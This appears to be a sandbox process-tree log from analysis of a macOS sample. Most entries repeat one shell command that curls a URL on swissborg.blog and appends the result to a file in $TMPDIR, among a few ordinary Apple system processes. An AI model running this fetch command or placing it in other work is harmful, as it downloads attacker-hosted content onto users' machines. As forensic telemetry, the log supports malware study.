sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:979

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:979

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:981

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:981

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:981

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:983

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:983

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:983

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:985

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:985

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:985

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:987

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:987

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:987

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:989

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:989

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:989

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:991

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:991

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:991

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:993

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:993

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:993

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:995

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:995

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:995

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:997

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:997

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:997

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:999

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:999

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:999

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1001

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1001

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1001

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1003

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1003

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1003

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1005

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1005

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1005

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1007

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1007

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1007

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1009

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1009

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1009

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1011

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1011

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1011

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1013

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1013

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1013

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1015

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1015

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1015

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1017

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1017

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1017

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1019

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1019

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1019

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1021

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1021

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1021

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1023

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1023

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1023

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1025

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1025

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1025

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1027

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1027

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1027

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1029

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1029

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1029

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1031

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1031

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1031

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1033

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1033

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1033

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1035

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1035

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1035

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1037

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1037

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1037

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1039

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1039

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1039

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1041

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1041

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1041

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1043

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1043

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1043

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1045

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1045

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1045

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1047

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1047

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1047

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1049

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1049

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1049

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1051

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1051

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1051

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1053

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1053

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1053

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1055

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1055

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1055

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1057

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1057

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1057

/usr/libexec/xpcproxy
xpcproxy com.apple.CoreAuthentication.agent
1⤵
PID:1061

/System/Library/Frameworks/LocalAuthentication.framework/Support/coreauthd
/System/Library/Frameworks/LocalAuthentication.framework/Support/coreauthd
1⤵
PID:1061

/usr/libexec/xpcproxy
xpcproxy com.apple.pluginkit.pkd
1⤵
PID:1062

/usr/libexec/pkd
/usr/libexec/pkd
1⤵
PID:1062

/usr/libexec/xpcproxy
xpcproxy com.apple.PressAndHold 382
1⤵
PID:1063

/System/Library/Input Methods/PressAndHold.app/Contents/PlugIns/PAH_Extension.appex/Contents/MacOS/PAH_Extension
"/System/Library/Input Methods/PressAndHold.app/Contents/PlugIns/PAH_Extension.appex/Contents/MacOS/PAH_Extension"
1⤵
PID:1063

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1064

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1064

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1064

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1066

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1066

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1066

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1068

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1068

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1068

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1070

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1070

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1070

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1072

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1072

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1072

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1074

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1074

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1074

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1076

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1076

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1076

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1078

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1078

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1078

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1080

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1080

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1080

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1082

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1082

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1082

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1084

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1084

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1084

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1086

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1086

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1086

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1088

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1088

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1088

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1090

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1090

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1090

/usr/libexec/xpcproxy
xpcproxy com.apple.diagnosticd
1⤵
PID:1092

/usr/libexec/diagnosticd
/usr/libexec/diagnosticd
1⤵
PID:1092

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1093

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1093

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1093

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1095

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1095

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1095

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1097

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1097

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1097

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1099

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1099

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1099

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1101

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1101

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1101

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1103

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1103

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1103

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1105

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1105

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1105

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1107

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1107

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1107

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1109

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1109

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1109

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1111

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1111

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1111

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1113

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1113

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1113

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1115

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1115

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1115

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1117

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1117

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1117

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1119

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1119

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1119

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1121

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1121

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1121

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1123

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1123

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1123

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1125

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1125

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1125

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1127

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1127

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1127

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1129

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:1129

/bin/bash
